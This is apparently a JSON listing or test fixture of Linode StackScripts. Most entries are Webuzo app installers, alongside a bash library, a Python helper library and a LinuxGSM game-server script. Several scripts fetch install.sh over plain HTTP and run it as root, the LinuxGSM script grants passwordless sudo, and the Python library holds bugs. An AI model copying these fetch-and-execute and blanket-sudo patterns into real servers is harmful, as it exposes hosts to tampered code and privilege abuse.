NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Plandora and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Plandora powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Plandora and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Plandora :\n# Plandora project was born to be a tool to help the software development process, from the customer \n# requirement until the task conclusion, and consequently gather the \"history\" of project.\n###########################################################################################################\n\n# Install Plandora Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=424&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Plandora and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Plandora has been successfully installed\"\necho \" \"\necho \"You can now configure Plandora and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9234, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "ClientExec powered by Webuzo", "description": "ClientExec offers online help desk software intended to enhance the ability of small and mid-sized hosting businesses to manage help and support issues. Because the online help desk software can be accessed from any web browser, managers and staff can increase the flexibility and effectiveness with which they address client support issues.\r\n\r\nClientExec''s software includes an easy-to-use interface that enhances communication between clients and staff. E-mail messages sent through the online help desk software are automatically routed and tracked, so you don''t have to spend time chasing after lost messages. Support tickets can be quickly sorted, filtered, and assigned to individual team members, ensuring that the tickets are addressed in the most efficient possible manner.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure ClientExec and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ClientExec powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install ClientExec and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About ClientExec :\n# ClientExec offers online help desk software intended to enhance the ability of small and mid-sized \n# hosting businesses to manage help and support issues.\n# Because the online help desk software can be accessed from any web browser, managers and \n# staff can increase the flexibility and effectiveness with which they address client support issues.\n###########################################################################################################\n\n# Install ClientExec Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=478&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling ClientExec and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, ClientExec has been successfully installed\"\necho \" \"\necho \"You can now configure ClientExec and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978962, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "StackScript Label", "description": "Description", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.12", "linode/alpine3.13", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note 1", "script": "#!/bin/bash\n\nScript", "user_defined_fields": []}, {"id": 9235, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Croogo powered by Webuzo", "description": "Croogo is a free, open source, content management system for PHP. It is powered by CakePHP MVC framework. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Croogo and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Croogo powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Croogo and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Croogo :\n# Croogo is a free, open source, content management system for PHP. It is powered by CakePHP MVC framework. \n###########################################################################################################\n\n# Install Croogo Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=443&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Croogo and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Croogo has been successfully installed\"\necho \" \"\necho \"You can now configure Croogo and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 20, "username": "nbebout", "user_gravatar_id": "5dd8fb66331617dbbd6f90a10cdd47ac", "label": "Fedora/CentOS Bash Library", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.632bit", "linode/centos5.6", "linode/fedora1132bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n###########################################################\n# System\n###########################################################\n\nfunction system_update {\n yum -y update\n}\n\nfunction system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction get_rdns {\n # calls host on an IP address and returns its reverse dns\n if [ ! -e /usr/bin/host ]; then\n yum -y install bind-utils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction install_basics {\n yum install -y jwhois rsync openssh-clients wget\n}", "user_defined_fields": []}, {"id": 9236, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "WideImage powered by Webuzo", "description": "WideImage is an object-oriented library for image manipulation.\r\n\r\nThe library provides a simple way to loading, manipulating and saving images in the most common image formats. \r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure WideImage and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "WideImage powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install WideImage and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About WideImage :\n# WideImage is an object-oriented library for image manipulation.\n# The library provides a simple way to loading, manipulating and saving images in the most common image formats.\n###########################################################################################################\n\n# Install WideImage Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=360&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling WideImage and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, WideImage has been successfully installed\"\necho \" \"\necho \"You can now configure WideImage and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193748, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "StackScript Python Library", "description": "Does nothing on its own. Do not deploy directly.\r\n\r\nA collection of useful Python functions to be included in other StackScripts.", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/centos7", "linode/debian8", "linode/fedora22"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import.", "script": "#!/usr/bin/env python\n\n\"\"\"\nPython Library StackScript\n\n\tAuthor: Ricardo N Feliciano \n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- n/a\n\nThis StackScript is not meant to be directly deployed. Includes a host of\nfunctions to do very common task on a distro, as implemented in Python. The\nfunctions in this library are designed to be run accross the Linode Core\nDistributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\n\nimport crypt\nimport fcntl\nimport logging\nimport os\nimport platform\nimport pwd\nimport socket\nimport subprocess\nimport sys\nimport time\ntry:\n\timport apt\nexcept:\n\ttry:\n\t\timport yum\n\texcept:\n\t\ttry:\n\t\t\timport dnf\n\t\texcept ImportError:\n\t\t\tprint(\"Package manager support was not found.\")\n\t\t\t\n\ndistro = None\n\"\"\"String list: Contains details of the distribution.\"\"\"\n\n\ndef end():\n\t\"\"\"End the StackScript cleanly.\"\"\"\n\t\n\t# Should the StackScripts themselves be removed here at some point?\n\tlogging.info(\"The StackScript has been completed.\")\n\tsubprocess.check_output(''echo \"The StackScript has completed. Press enter to continue.\" | wall -n'', shell=True)\n\n\ndef init():\n\t\"\"\"Start features we consider StackScript standard.\"\"\"\n\t\n\t# Sanity check for CentOS 7 & Fedora 22\n\tif os.path.exists(\"/var/log/stackscript.log\"):\n\t\tsys.exit(1) # StackScript already started once, bail\n\t\n\twith open(\"/etc/profile.d/stackscript.sh\", \"w\") as f:\n\t\tf.write(\"\"\"#!/bin/bash\nif pgrep -f \"python /root/StackScript\" &>/dev/null\nthen\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### Warning: Your StackScript is still running\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### Please do not make any system changes until it \"\n\techo \"##### completes. Log file is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\nelse\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### The StackScript has completed. Enjoy your system.\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### For reference, the logfile is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\n\trm /etc/profile.d/stackscript.sh\nfi\"\"\")\n\t\n\tlogging_start()\n\n\ndef logging_start(the_file=\"/var/log/stackscript.log\", the_level=logging.INFO):\n\t\"\"\"Turn on logging.\"\"\"\n\t\n\tlogging.basicConfig(filename=the_file, level=the_level)\n\tlogging.info(\"Logging has started. \" + str(time.time()))\n\n\ndef system_detect_distro():\n\t\"\"\"Prepares distro information.\n\t\n\tThis is critical to support the Linode Core Distributions with a single\n\tscript.\n\t\"\"\"\n\tglobal distro\n\n\t# add support for logging\n\t\n\tdistro = dict(zip((''distname'', ''version'', ''codename''),\n\tplatform.linux_distribution(full_distribution_name=0)))\n\t\n\tdistro[''distname''] = distro[''distname''].lower()\n\n\tif distro[''distname''] in (''debian'', ''ubuntu''):\n\t\tdistro[''family''] = \"debian\"\n\telif distro[''distname''] in (''fedora'', ''centos''):\n\t\tdistro[''family''] = \"redhat\"\n\telse:\n\t\traise NotImplementedError(\"This distribution is not supported.\")\n\n\ndef system_IP_get():\n\t\"\"\"Return IPv4 address configured on eth0.\n\t\n\tThis basically is a disgusting hack. Please let me know if you find a\n\tcleaner way to do this.\"\"\"\n\t# add support for logging\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\treturn socket.inet_ntoa(fcntl.ioctl(\n\t\ts.fileno(),\n\t\t0x8915, # SIOCGIFADDR\n\t\tstruct.pack(''256s'', \"eth0\")\n\t)[20:24])\n\n\ndef system_IP_rdns(IP):\n\t\"\"\"Get PTR for given IP address.\"\"\"\n\t# add support for logging\n\n\treturn socket.gethostbyaddr(IP)[0]\n\n\ndef system_package_install(package, update_first=True):\n\t\"\"\"Install a package with the appropriate package manager.\"\"\"\n\t# add support for logging\n\n\tif distro is None:\n\t\tsystem_detect_distro()\n\n\tsystem_update() if update_first else None\n\t\n\tif distro[''family''] == \"debian\":\n\t\tos.environ[''DEBIAN_FRONTEND''] = \"noninteractive\"\n\t\tcache = apt.Cache()\n\t\tpkg = cache[package]\n\t\tpkg.mark_install()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.install(name=package)\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\tdnfb.read_all_repos()\n\t\tdnfb.fill_sack()\n\t\tdnfb.install(package)\n\t\tdnfb.resolve()\n\t\tdnfb.download_packages(dnfb.transaction.install_set)\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef system_update():\n\t\"\"\"Uses the distro''s package manager to update packages.\"\"\"\n\t#add support for logging\n\t\n\tif distro is None:\n\t\tsystem_detect_distro()\n\t\n\tif distro[''family''] == \"debian\":\n\t\tcache = apt.Cache()\n\t\tcache.update()\n\t\tcache.open(None)\n\t\tcache.upgrade()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.update()\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\t#dnfb.read_all_repos() #updates were failing with this line\n\t\tdnfb.fill_sack()\n\t\tdnfb.upgrade_all()\n\t\tdnfb.resolve()\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef user_add(username, password, groups):\n\t\"\"\"Creates a Linux user account.\n\t\n\tArgs:\n\t\tusername (String): A Linux username.\n\t\tpassword (String): Password for the user.\n\t\tgroups (tuple): Groups that the user should be added to.\n\t\n\tReturns:\n\t\tbool: True if successful, False otherwise.\n\t\"\"\"\n\n\t# need to implement logging\n\t# need to implement group functionality\n\n\treturn subprocess.call([''useradd'', ''-m'', ''-p'', crypt.crypt(password, \"22\"), ''-s'', ''/bin/bash'', username])\n\n\ndef user_add_pubkey(username, key):\n\t\"\"\"Adds the public SSH key to the specified user.\"\"\"\n\t# need to implement logging\n\t\n\tif username != \"root\":\n\t\tos.seteuid(pwd.getpwnam(username).pw_uid)\n\t\tos.setegid(pwd.getpwnam(username).pw_gid)\n\t\n\tpubkey_dir = os.path.join(os.getenv(\"HOME\"), \".ssh\")\n\t\n\tif not os.path.isdir(pubkey_dir):\n\t\tos.makedirs(pubkey_dir)\n\t\n\twith open(os.path.join(pubkey_dir, \"authorized_keys\")) as f:\n\t\tf.write(key)\n\t\n\tif username != \"root\":\n\t\tos.seteuid(0)\n\t\tos.setegid(0)", "user_defined_fields": []}, {"id": 9237, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "HelpDEZk powered by Webuzo", "description": "HelpDEZk is a powerfull software that manages requests/incidents. It has all the needed requirements to an efficient workflow management of all processes involved in service execution. This control is done for internal demands and also for outsourced services.\r\n\r\nHelpDEZk can be used at any company''s area, serving as an support to the shared service center concept, beyond the ability to log all the processes and maintain the request''s history, it can pass it through many approval levels.\r\n\r\nHelpDEZk can put together advanced managing resources with an extremely easy use. Simple and intuitive screens make the day-by-day easier for your team, speeding up the procedures and saving up a lot of time. It is developped in objects oriented PHP language, with the MVC architecture and uses the templates system SMARTY. For the javascripts, JQUERY is used. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure HelpDEZk and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "HelpDEZk powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install HelpDEZk and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About HelpDEZk :\n# HelpDEZk is a powerfull software that manages requests/incidents.\n# It has all the needed requirements to an efficient workflow management of all processes \n# involved in service execution. This control is done for internal demands and also for outsourced services.\n###########################################################################################################\n\n# Install HelpDEZk Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=457&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling HelpDEZk and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, HelpDEZk has been successfully installed\"\necho \" \"\necho \"You can now configure HelpDEZk and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 10261, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SEOTOASTER powered by Webuzo", "description": "SEOTOASTER is the most advanced SEO content management system out of the box, so your website or Ecommerce store performs to the maximum of its abilities when it comes to organic rankings.\r\n\r\nSEOTOASTER is the most advanced SEO CMS & Ecommerce web site builder.\n\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n\nYou can get a Webuzo License here\nhttp://www.webuzo.com/pricing\n\nPath to Installation Logs : /root/webuzo-install.log\n\nInstructions\nOn completion of the installation process, access http://your-ip:2004 to configure SEOTOASTER and Softaculous Webuzo initially.\n\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SEOTOASTER powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SEOTOASTER and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SEOTOASTER :\n# SEOTOASTER is the most advanced SEO CMS & Ecommerce web site builder.\n###########################################################################################################\n\n# Install SEOTOASTER Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=490&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SEOTOASTER and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SEOTOASTER has been successfully installed\"\necho \" \"\necho \"You can now configure SEOTOASTER and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193749, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "Linux GSM Helper", "description": "Linux GSM One-Click Helper", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/debian10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# Linux GSM install\n\nfunction linuxgsm_install {\n\necho Configuring IP address\nIPADDR=`hostname -I | awk ''{print$1}''`\n\n# Add a user for the game server\necho Setting up a user\nadduser --disabled-password --gecos \"\" \"$GAMESERVER\"\necho \"$GAMESERVER ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\n\n# Download and the LinuxGSM script\necho Downloading LinuxGSM\n# TESTING\ncd /home/\"$GAMESERVER\"/\n# OLD: wget -4 https://linuxgsm.com/dl/linuxgsm.sh -P /home/\"$GAMESERVER\"/\nwget -O linuxgsm.sh https://linuxgsm.sh -P /home/\"$GAMESERVER\"/\nchmod +x /home/\"$GAMESERVER\"/linuxgsm.sh\nchown -R \"$GAMESERVER\":\"$GAMESERVER\" /home/\"$GAMESERVER\"/*\n\n# Run the GSM script\necho running LinuxGSM script\nsu - \"$GAMESERVER\" -c \"/home/$GAMESERVER/linuxgsm.sh $GAMESERVER\"\n\n}\n\n\nfunction game_install {\n\n# Installing the Server\necho Installing the Server\nsu - \"$GAMESERVER\" -c \"/home/$GAMESERVER/$GAMESERVER auto-install\"\nif [[ \"$GAMESERVER\" =~ (^boserver$|^bb2server$|^bmdmserver$| \\\n^cssserver$|^csgoserver$|^dodsserver$|^emserver$| \\\n^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| \\\n^tuserver$|^zpsserver$) ]]; then\n echo -e \"\\ngslt=$GSLT\" >> /home/\"$GAMESERVER\"/lgsm/config-lgsm/\"$GAMESERVER\"/\"$GAMESERVER\".cfg\nelse\n echo No Gameserver Login Token Needed\nfi\n\n}\n\n\nfunction service_config {\n\n# Add cron jobs for updating the gameserver and linuxgsm. Monitor will ensure that the gameserver is running and restart if needed.\necho Adding game update cron jobs\ncrontab -l > gamecron\necho \"*/5 * * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER monitor'' > /dev/null 2>&1\" >> gamecron\necho \"0 23 * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER update'' > /dev/null 2>&1\" >> gamecron\necho \"30 23 * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER update-functions'' > /dev/null 2>&1\" >> gamecron\ncrontab gamecron\nrm gamecron\n\n# Create systemd service file\n\ncat << END > /etc/systemd/system/$GAMESERVER.service\n[Unit]\nDescription=$GAMESERVER\n\n[Service]\nUser=$GAMESERVER\nType=forking\nExecStart=/bin/bash /home/$GAMESERVER/$GAMESERVER 